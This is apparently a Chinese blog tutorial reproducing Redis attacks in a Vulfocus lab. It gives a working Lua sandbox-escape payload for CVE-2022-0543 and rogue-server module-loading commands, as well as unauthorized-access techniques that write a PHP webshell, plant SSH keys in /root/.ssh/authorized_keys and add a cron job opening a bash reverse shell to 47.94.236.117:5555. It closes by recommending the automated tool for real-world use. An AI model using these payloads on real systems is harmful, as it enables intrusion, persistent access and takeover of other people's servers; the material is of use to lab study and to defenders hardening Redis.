Vulfocus-Redis漏洞复现(特征识别+自动化测试项目)

#数据库应用-Redis-未授权访问&CVE漏洞

默认端口:6379

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

确定一个地址有没有使用redis,就是6379端口有没有开启,nmap扫描

尝试使用redis连接,如果ip地址没有设置账户密码就会导致未授权访问

1、沙箱绕过RCE-CVE-2022-0543

 

Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

改成pwd:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0

显示了当前目录:

实战中:

连接成功

 但是访问这个ip加6379端口是不行滴,因为他不是网站是一个数据库

不加端口访问:

还是不行因为有数据库不一定有网站

2、未授权访问-CNVD-2019-21763

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

使用工具:

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -RedisModulesSDK/exp.so -"id"

在攻击机上运行(要是外网ip):

id换成whoami

3、未授权访问:CNVD-2015-07557

1.写Webshell需得到Web路径,引起webshell的连接操作,得到权限

利用条件:Web目录权限可读写,有web网站,不然连接不了
 

config set dir /tmp            #设置WEB写入目录

config set dbfilename 1.php    #设置写入文件名

set test "<?php phpinfo();?>"  #设置写入文件代码

bgsave                         #保存执行

save                           #保存执行

   

复现:

  连接:

  

写入命令

这里写的是1.php,因为网站是php语言,如果是jsp语言就改成1.jsp

来服务器上看看有没有成功:

发现没有1.php,是在docker里面!!!在docker里面搭建的环境,写到docker里面去了,不是真实主机的磁盘里面

注意:部分没目录权限读写权限     

2.向计划任务里面写文件,实现执行set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n",实现反弹shell

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态,条件难满足

config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save

注意:centos系统会忽略乱码去执行格式正确的任务计划 

而ubuntu系统并不会忽略这些乱码,所以导致命令执行失败

3.写入Linux ssh-key公钥

自己攻击机把密匙文件生成出来,密匙文件写到目标机器上面,再用攻击机连接目标机器就不用输入账号密码了

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

//以上步骤在自己的攻击机器上执行

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP

-自动化项目:集成上面三个测试方式 

https://github.com/n0b0dyCN/redis-rogue-server

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP

复现:

在攻击机上面执行:

ip换掉

实战直接上这个工具就好了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值